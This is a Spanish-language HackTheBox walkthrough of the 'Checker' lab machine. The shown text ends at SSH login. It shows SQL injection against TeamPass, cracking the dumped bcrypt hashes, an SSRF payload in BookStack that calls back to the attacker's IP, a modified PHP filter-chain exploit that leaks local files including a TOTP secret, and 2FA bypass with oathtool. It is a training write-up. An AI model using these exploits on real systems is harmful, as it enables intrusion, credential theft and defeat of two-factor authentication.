Checker – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

Avatar checker


Resumen Link to heading

“Checker” es una máquina de dificultad Difícil de la plataforma HackTheBox. La máquina víctima es un servidor web que se encuentra corriendo dos servicios: Teampass y BooksStack. El servicio de Teampass es vulnerable a SQL Injection, lo cual no permite obtener un hash, crackearlo y ganar acceso al panel de Teampass. Ya dentro, encontramos credenciales para dos servicios distintos: la primera nos da acceso al servicio de BookStack; la segunda nos da credenciales para acceso por SSH. Las credenciales por SSH funcionan; no obstante, la máquina está usando 2FA (doble factor de autenticación), lo que en un inicio nos deniega el acceso. Encontramos una vulnerabilidad Server-Side Request Forgery (SSRF) en el servicio de BookStack, la cual puede ser encadenada con php_filter_chains_oracle_exploit para pasar de un SSRF a un Local File Inclusion y así leer archivos del sistema. Esto nos permite leer el archivo de configuración para el 2FA, generar nuestro propio código de autenticación y ganar acceso a la máquina víctima. El usuario impersonado puede correr un script, que a su vez corre un binario, con sudo. Luego de analizar este binario, encontramos que hay un buffer de memoria compartido en éste, lo cual nos permite “secuestrar” la memoria y ejecutar comandos como root; comprometiendo así el sistema.


User / Usuario Link to heading

Empezamos con un escaneo con Nmap, donde encontramos 3 puertos abiertos: 22 SSH, 80 y 8080 HTTP:

❯ sudo nmap -sVC -p22,80,8080 10.10.11.56

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 13:09 -04
Nmap scan report for 10.10.11.56
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds

Si revisamos la página del puerto 80 con cURL obtenemos que somos redirigidos al dominio checker.htb:

❯ curl http://10.10.11.56

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://checker.htb/login'" />

        <title>Redirecting to http://checker.htb/login</title>
    </head>
    <body>
        Redirecting to <a href="http://checker.htb/login">http://checker.htb/login</a>.
    </body>
</html>

Agregamos este dominio, junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts en nuestra máquina de atacantes:

❯ echo '10.10.11.56 checker.htb' | sudo tee -a /etc/hosts

Visitamos así la página http://checker.htb, que a su vez nos redirige a http://checker.htb/login, de donde podemos ver un panel de login:

Checker 1

El sitio parece estar corriendo BookStack. Basados en su página oficial, nos dan una definición para esta herramienta:

Información
BookStack is a free and open-source wiki software aimed for a simple, self-hosted, and easy-to-use platform. Based on Laravel, a PHP framework, BookStack is released under the MIT License. It uses the ideas of books to organize pages and store information.

En corto, es una aplicación para hostear páginas de estilo “Wiki”.

Basados en la documentación oficial, las credenciales por defecto son: admin@admin con contraseña password. Pero estas contraseñas no funcionan, ni para el usuario admin@checker.htb. De momento no tenemos pistas.

Revisamos entonces el sitio corriendo en el puerto 8080 (http://checker.htb:8080). Tenemos un nuevo panel, esta vez corriendo Teampass:

Checker 2

Información
TeamPass is an open-source, secure password manager designed for teams and organizations. It provides a centralized and secure platform for storing, managing, and sharing passwords and other sensitive information.

En corto, es un gestor de contraseñas para equipos.

Podemos también buscar por vhosts usando ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://checker.htb:8080/ -H 'Host: FUZZ.checker.htb' -fs 199

Pero no somos capaces de encontrar ningún vhost. ¿Por qué? Si visitamos de nuevo la página principal podemos ver un mensaje:

Too many requests

Lo cual nos indica que el sitio web nos está bloqueando si es que buscamos por distintos subdominios o directorios.

Podemos ver los recursos que son cargados al ejecutar http://checker.htb:8080. Por ejemplo, en un navegador de Firefox, si vamos a NetWork y recargamos la página principal podemos ver:

Checker 3

El sitio está tratando de cargar recursos del subdominio vault.checker.htb.

Agregamos este nuevo subdominio a nuestro archivo /etc/hosts, por lo que éste ahora se ve como:

❯ tail -1 /etc/hosts

10.10.11.56 checker.htb vault.checker.htb

Pero visitando http://vault.checker.htb:8080 sólo muestra una página exactamente igual a aquella que se encuentra albergada en http://checker.htb:8080 con Teampass.

Ya en este punto, buscamos por vulnerabilidades para Teampass en MITRE. Encontramos una que es una SQL Injection, catalogada como CVE-2023-1545. Encontramos así este blog el cual provee una simple Proof of Concept (PoC, o “prueba de concepto”) para Bash. En mi caso repliqué el script en Python, el cual puede ser descargado desde mi repositorio de Github. Usando este script obtenemos:

❯ python3 CVE-2023-1545.py http://checker.htb:8080

[*] Checking if API http://checker.htb:8080/api/index.php/authorize is accessible...
[*] Checking if we can enumerate users with SQL Injection...
[*] 2 users found
[*] Attempting to extract users and their respective passwords...

admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob  : $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

~Happy Hacking

Obtenemos 2 hashes.

Guardamos el hash del usuario bob en un archivo llamado bob_hash y probamos crackearlo a través de un Brute Force Password Cracking con JohnTheRipper, dando así:

❯ echo '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' > bob_hash

❯ john --wordlist=/usr/share/wordlists/rockyou.txt bob_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cheerleader      (?)
1g 0:00:00:03 DONE (2025-04-25 15:24) 0.2624g/s 212.5p/s 212.5c/s 212.5C/s 123qwe..dancing
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: cheerleader.

De vuelta a http://checker.htb:8080, ponemos como username el usuario bob, y en password la contraseña cheerleader. Ganamos acceso:

Checker 4

Clickeando en la carpeta bob-access podemos ver lo que parecen ser 2 contraseñas. Una llamada ssh access y otra llamada bookstack login. Cuando clickeamos en ssh access se despliega una ventana que nos pregunta por qué queremos ver las contraseñas. Ponemos cualquier cosa, lo mandamos y esperamos algunos segundos. Ya hecho, podemos ver su contenido:

Checker 5

Tenemos una contraseña hiccup-publicly-genesis para una cuenta reader.

Si usamos NetExec para ver si esta contrraseña es válida por SSH para el usuario bob o reader nos da que ninguan es válida:

❯ nxc ssh 10.10.11.56 -u bob reader -p 'hiccup-publicly-genesis'

SSH         10.10.11.56     22     10.10.11.56      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.56     22     10.10.11.56      [-] bob:hiccup-publicly-genesis
SSH         10.10.11.56     22     10.10.11.56      [-] reader:hiccup-publicly-genesis

No obstante, esto es un falso negativo.

Si manualmente tratamos de loguearnos como el usuario reader usando sshpass (para proveer la contraseña usada para conectarse por SSH en la misma línea de comandos) el comando se queda congelado:

❯ sshpass -p 'hiccup-publicly-genesis' ssh -o stricthostkeychecking=no reader@10.10.11.56

Si revisamos de manera totalmente “normal” por SSH podemos ver porqué los comandos fallaban:

❯ ssh reader@10.10.11.56

(reader@10.10.11.56) Password: hiccup-publicly-genesis
(reader@10.10.11.56) Verification code:

Al intentar acceder el servidor nos pregunta por un código de verificación para acceder. Por lo que se encuentra usando un Two-Factor authentication (2FA, o “Doble Factor de Autenticación”). Buscando por 2FA para SSH encontramos este post el cual explica que es posible aplicar 2FA usando Google Authenticator.

De vuelta a Teampass, si revisamos el contenido de bookstack login tenemos otras credenciales:

Checker 6

Tenemos una nueva contraseña: mYSeCr3T_w1kI_P4sSw0rD.

Esta parece ser una contraseña, para el usuario bob@checker.htb, en el panel de login http://checker.htb (en el puerto 80) corriendo BookStack. Dando el usuario bob@checker.htb y contraseña mYSeCr3T_w1kI_P4sSw0rD en el panel de login de BookStack funciona. Estamos dentro:

Checker 7

Buscamos por información interesante dentro de la página, pero sólo hay posteos relacionado a las bases de conicimientos de Linux.

Para buscar una versión, podemos ratar de visitar http://checker.htb/settings, pero se nos deniega el acceso dado que no somos administradores. Por tanto, podemos buscar en el código fuente (Ctrl+U en Firefox), y buscar por la palabra version. Obtenemos así:

Checker 8

Tenemos una versión: 23.10.2 para BookStack.

Buscando por bookstack v23.10.2 vulnerability encontramos este advisory en Github. Éste nos habla de una vulnerabilidad catalogada como CVE-2023-6199, la cual, a través de un Server-Side Request Forgery (SSFR), nos permite solicitar recursos hacia un servidor. También encontramos esta página, dando un video PoC. Allí, el investigador muestra cómo, a través de un payload en base64, un atacante puede solicitar recursos a un servidor externo. Los mismos investigadores publicaron también este blog donde enseñan cómo aprovecharse de la vulnerabilidad para leer archivos del sistema; es decir, cómo pasar de una vulnerabilidad SSRF a una vulnerabilidad LFI (Local File Inclusion).

Para replicar la vulnerabilidad enseñada, ya logueados en BookStack como el usuario bob, clickeamos en Books en la parte superior derecha, luego en Create New Book en la parte derecha y creamos un libro (book) con un nombre aleatorio:

Checker 9

Clickeamos luego en Save Book para guardar y crear el libro.

Una vez nuestro libro ha sido creado, clickeamos en Create a new page y le damos un nombre. Ya en este punto podemos inicializar Burpsuite e interceptar el request que será enviado al clickear en Save Page (el cual no enviaremos todavía).

Checker 10

Ya iniciado, clickeamos en Editing Draft y luego en Save Page. Interceptamos así la petición:

PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://checker.htb/books/test/draft/12
Content-Type: application/json
X-Requested-With: XMLHttpRequest
baseURL: http://checker.htb/
X-CSRF-TOKEN: C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ
Content-Length: 41
Origin: http://checker.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D
Priority: u=0

{"name":"HTML Test","html":"<p>Test</p>"}

Aquí es donde entra en jueg ola vulnerabilidad SSRF. Pasamos este request al Repeater en Burpsuite dado que lo necesitaremos maś tarde.

en el campo html de la data, podemos pasar la IP controlada por un atacante (nosotros) para ver si la vulnerabilidad es efectiva. En este caso nuestra IP de atacantes es 10.10.16.7. Los autores también brindan este blog dando un ejuemplo para performar el ataque:

<img src='data:image/png;base64,aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw'/>

donde:

aHR0cHM6Ly9jbGMybmYycTh2YjRhdWRrajZuZ25keGt4ZzdjN3kxcGoub2FzdC5zaXRlL2ltYWdlLnBuZw

es el payload que podemos manipular en base64.

Empexamos un simple servidor Python HTTP en el puerto 8000 en nuestra máquina de atacantes:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

y, además, creamos un payload en base64 el cual realizará una petición a nuestra máquina de atacantes:

❯ echo -n 'http://10.10.16.7:8000/test' | base64

aHR0cDovLzEwLjEwLjE2Ljc6ODAwMC90ZXN0

Finalmente, pasamos este payload en base64 a la petición en Burpsuite:

PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://checker.htb/books/test/draft/12
Content-Type: application/json
X-Requested-With: XMLHttpRequest
baseURL: http://checker.htb/
X-CSRF-TOKEN: C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ
Content-Length: 101
Origin: http://checker.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D
Priority: u=0

{"name":"HTML Test","html":"<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE2Ljc6ODAwMC90ZXN0'/>"}

Al enviar la petición, obtenemos una nueva petición en nuestro servidor Python HTTP temporal:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.56 - - [01/Jun/2025 17:25:35] code 404, message File not found
10.10.11.56 - - [01/Jun/2025 17:25:35] "GET /test HTTP/1.1" 404 -

El SSRF funcionó.

Ya en este punto, en el blog, dicen que esta vulnerabilidad puede ser “encadenada” con php_filter_chains_oracle_exploit para pasar este exploit desde un SSRF a un LFI. Un profundo detalle de esta “cadena” de ataques está muy bien explicado en el blog de Synacktiv.

Primero lo primero. Clonamos el repositorio para pasar el exploit desde un SSRF a un LFI:

❯ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git -q

Este repositorio sólo necesita la librería requests de Python, la cual yo ya tengo instalada.

Luego, necesitamos modificar el script requestor.py, localizado en el directorio filter_chain_oracle/core del repositorio clonado. En la línea 106 tenemos una variable definida como filter_chain. Para adaptar el ataque a este caso, a la línea:

filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'

Le agregamos justo después la línea:

filter_chain = f"<img src='data:image/png;base64,{b64encode(filter_chain.encode()).decode()}'/>"

Que no es más que la vulnerabilidad SSRF.

Dado que estamos encodeando en base64, no olvidar el agregar la función junto con la librería que realiza esta acción al principio del script requestor.py:

from base64 import b64encode

Adicionalmente, el formato en el cual estamos enviando la data en el Repeater de estaba en formato JSON. Para simplificar el ataque, pasamos el formato de la data enviada de JSON a x-www-form-urlencoded definida en Content-Type. Por lo que, por ejemplo, nuestro payload SSRF original en este “nuevo formato” ahora se ve como:

PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://checker.htb/books/test/draft/12
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
baseURL: http://checker.htb/
X-CSRF-TOKEN: C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ
Content-Length: 91
Origin: http://checker.htb
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D
Priority: u=0

name=HTML+Test&html=<img src='data:image/png;base64,aHR0cDovLzEwLjEwLjE2Ljc6ODAwMC90ZXN0'/>

Volvemos a enviar esta petición en el Repeater de Burpsuite para verificar que no hemos roto nada; y seguimos obteniendo “llamadas” en nuestro servidor Python HTTP temporal. Por lo que el ataque sigue funcionando.

Ahora que hemos modificado el formato y adaptado el exploit a la vulnerabilidad SSRF de BookStack, necesitamos otros parametros tales como las cabeceras (X-CSRF-TOKEN y cookies) y pasarlos al exploit. Por tanto, basados en la última petición HTTP que enviamos, podemos extraer de ésta todas las cabeceras necesarias y dárselas al exploit. Por último, tratamos de leer un archivo “pequeño” como /etc/hostname dado que trataremos de leer el archivo a través de “fuerza bruta”. Podríamos leer archivos más grandes (como el clásico /etc/passwd), pero como este archivo tiene bastante contenido ello tomaría mucho tiempo.

De esta manera corremos el exploit dando todos los datos requeridos:

❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --verb 'PUT' --parameter 'html' --headers '{"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}' --file '/etc/hostname'


[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /etc/hostname
[*] Running PUT requests
[*] Additionnal headers used : {"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}
[+] File /etc/hostname leak is finished!
Y2hlY2tl
b'checke'

Luego de un rato obtenemos como respuesta checke (presumiblemente checker, por el nombre de la máquina y su dominio). Parece ser que el exploit funciona.

Dado que hay un 2FA corriendo en alguna parte, podríamos tratar de leer el archivo de configuración de éste. Como ya habíamos mencionado, Google Authenticator está disponible para 2FA en Linux. En la página de configuración para Google Authenticator, se menciona un archivo .google_authenticator. Si buscamos entonces por archivos tales como /home/reader/.google_authenticator o /home/reader/.ssh/.google_authenticator éstos parecen no existir.

De vuelta a la aplicación de BookStack (y esta es la única parte que no me gustó de la máquina), existía un libro de Linux security. Allí hay una página de Basic Backup with cp, cuyo contenido es:

Checker 11

Dan una ruta absoluta para respaldos /backups: /backup/home_backup.

Podemos así revisar si el archivo que buscamos está en este directorio.

El directorio /backup/home_backup/.google_authenticator no funciona, pero la ruta:

/backup/home_backup/home/reader/.google_authenticator

Funciona:

❯ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --verb 'PUT' --parameter 'html' --headers '{"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}' --file '/backup/home_backup/home/reader/.google_authenticator'


[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"Cookie":"XSRF-TOKEN=eyJpdiI6ImY2azFtNndSd3pKWUxGbExCRzdkaGc9PSIsInZhbHVlIjoidTVIcEYydmVIS3UzUnEyc1lrdThVaTdUUXJDRGw2KzlqbEMyRUZDT1BXbFBrYk5Jd256d0MrZmJ3VmF1eFhmaXY3SU1EZ3lQc1I0bml6d1I3Nmlpb2NqT0NSeEtKMHRhUW9PVVprSy9oMWV4WGdRb0syZ2l0akVubE05NG5EOUUiLCJtYWMiOiI4YTE3YTQyYTZlNDc1OWZiZDcyZDllZThjODc0MTA2ZDE1NThjZDFmMDU5Y2MyYjM1MDQ4NzI2YmI0ZWZlNzJjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IlczYnh6Nm5rcGkvU3hZY0VrWmI4QXc9PSIsInZhbHVlIjoiT0JoL0R0TS9qWUREV2k5ZGRSb1BLYzZobjFnaGQyZFBBdDlzaC92dmVhSWIxZXFIZklFcGpCQzlPYUpHZG10OTErOFZmUE44TnZ2cGV1Q1ZHVlE1aTl2RklYRHBoVUJhWFRXVTZ0bGduQ2lvM2xtSng4Ujl3d1dRZHZJM011RGEiLCJtYWMiOiJmMjU3ZjQ2YTY4M2QxNDIzNTg1MTI5YjUzOWI0MmU1YWNlYzdhNmQ4OTVlNWQyN2I1NGUzZWM2YzU2NzQ3ZjcwIiwidGFnIjoiIn0%3D","X-CSRF-TOKEN":"C9HagWOIZgSF1Tst5WrU65eiaD2N5u9J0W0DnyJJ"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

Para Google Authenticator, encontramos el contenido del archivo .google_authenticator, cuya llave (key) es:

DVDBRAODLCWF7I2ONA4K5LQLUE

donde podemos ver que se trata de una autenticación de tipo TOTP, o Time-based One-Time Password.

Ahora, para generar códigos de verificación basados en un archivo como el de Google Authenticator en nuestra máquina de atacantes podemos usar una herramienta llamada oathtool. La instalamos en nuestra máquina de atacantes ejecutando:

sudo apt update -y && sudo apt install oathtool gnupg2 -y

Revisando documentación de oathtool vemos que podemos dar parámetros tales como --totp y -b para base32:

❯ oathtool --totp DVDBRAODLCWF7I2ONA4K5LQLUE -b

211464

Tenemos un código.

Tratamos de loguearnos como el usuario reader, contraseña hiccup-publicly-genesis en SSH y dando esta vez el código generado para el 2FA:

❯ ssh reader@10.10.11.56

(reader@10.10.11.56) Password: hiccup-publicly-genesis
(reader@10.10.11.56) Verification code: 211464
Error "Operation not permitted" while writing config

Obtenemos un error.

Probablemente este error sea por el tiempo. Si le damos una ojeada a la configuración de 2FA que ya habíamos mencionado, hay una opciónp ara los tokens llamada “time-based” (basadas en tiempo). Por ende, puede que necesitemos la hora de la máquina víctima para que los códigos generados sean válidos. Podemos obtener el tiempo de la máquina víctima usando cURL y extraerla de las cabeceras de respuestas usando -I. Uno de los campos retornados es Date:

❯ curl -s -I http://checker.htb | grep Date

Date: Sun, 01 Jun 2025 23:56:44 GMT

Podemos usar el comando date para obtener el tiempo en un formato correcto:

❯ date -d "$(curl -s -I http://checker.htb | grep Date | cut -d ' ' -f3-)" "+%Y-%m-%d %H:%M:%S"

2025-06-01 19:58:55

Así, pasamos esta fecha/hora a oathtool usando --now tal cual es menciona en la documentación:

❯ oathtool --totp DVDBRAODLCWF7I2ONA4K5LQLUE -b --now="$(date -d "$(curl -s -I http://checker.htb | grep Date | cut -d ' ' -f3-)" "+%Y-%m-%d %H:%M:%S")"

367347

Parece ser que funcionó.

Rápidamente, usamos este nuevo código y tratamos de loguearnos por SSH:

❯ ssh reader@10.10.11.56

(reader@10.10.11.56) Password: hiccup-publicly-genesis
(reader@10.10.11.56) Verification code: 367347


Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

